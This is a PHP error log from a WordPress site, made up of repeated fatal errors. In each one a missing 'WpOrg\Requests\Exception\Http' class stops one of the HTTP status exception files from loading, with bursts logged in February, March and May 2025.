[22-Feb-2025 06:25:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[22-Feb-2025 06:25:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[22-Feb-2025 06:25:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[22-Feb-2025 06:25:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[22-Feb-2025 06:25:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[22-Feb-2025 06:25:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[22-Feb-2025 06:25:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[22-Feb-2025 06:25:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[22-Feb-2025 06:25:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[22-Feb-2025 06:25:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[22-Feb-2025 06:25:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[22-Feb-2025 06:25:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[22-Feb-2025 06:25:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[22-Feb-2025 06:25:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[22-Feb-2025 06:25:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[22-Feb-2025 06:25:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[22-Feb-2025 06:25:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[22-Feb-2025 06:25:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[22-Feb-2025 06:25:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[22-Feb-2025 06:25:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[22-Feb-2025 06:25:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[22-Feb-2025 06:25:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[22-Feb-2025 06:25:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[22-Feb-2025 06:25:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[22-Feb-2025 06:25:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[22-Feb-2025 06:25:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[22-Feb-2025 06:25:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[22-Feb-2025 06:25:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[22-Feb-2025 06:25:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[22-Feb-2025 06:25:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[22-Feb-2025 06:25:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[22-Feb-2025 06:25:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[22-Feb-2025 06:25:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[29-Mar-2025 10:12:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[29-Mar-2025 10:12:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[29-Mar-2025 10:12:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[29-Mar-2025 10:12:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[29-Mar-2025 10:12:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[29-Mar-2025 10:12:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[29-Mar-2025 10:12:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[29-Mar-2025 10:12:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[29-Mar-2025 10:12:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[29-Mar-2025 10:12:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[29-Mar-2025 10:12:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[29-Mar-2025 10:12:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[29-Mar-2025 10:12:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[29-Mar-2025 10:12:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[29-Mar-2025 10:12:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[29-Mar-2025 10:12:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[29-Mar-2025 10:12:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[29-Mar-2025 10:12:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[29-Mar-2025 10:12:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[29-Mar-2025 10:12:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[29-Mar-2025 10:12:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[29-Mar-2025 10:12:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[29-Mar-2025 10:12:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[29-Mar-2025 10:12:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[29-Mar-2025 10:12:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[29-Mar-2025 10:12:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[29-Mar-2025 10:12:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[29-Mar-2025 10:13:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[29-Mar-2025 10:13:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[29-Mar-2025 10:13:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[29-Mar-2025 10:13:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[29-Mar-2025 10:13:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[29-Mar-2025 10:13:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[13-May-2025 10:05:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[13-May-2025 10:05:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[13-May-2025 10:05:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[13-May-2025 10:05:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[13-May-2025 10:05:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[13-May-2025 10:05:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[13-May-2025 10:05:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[13-May-2025 10:05:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[13-May-2025 10:05:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[13-May-2025 10:05:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[13-May-2025 10:05:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[13-May-2025 10:05:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[13-May-2025 10:05:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[13-May-2025 10:05:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[13-May-2025 10:05:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[13-May-2025 10:05:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[13-May-2025 10:05:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[13-May-2025 10:05:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[13-May-2025 10:05:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[13-May-2025 10:05:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[13-May-2025 10:05:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[13-May-2025 10:05:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[13-May-2025 10:05:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[13-May-2025 10:05:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[13-May-2025 10:05:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
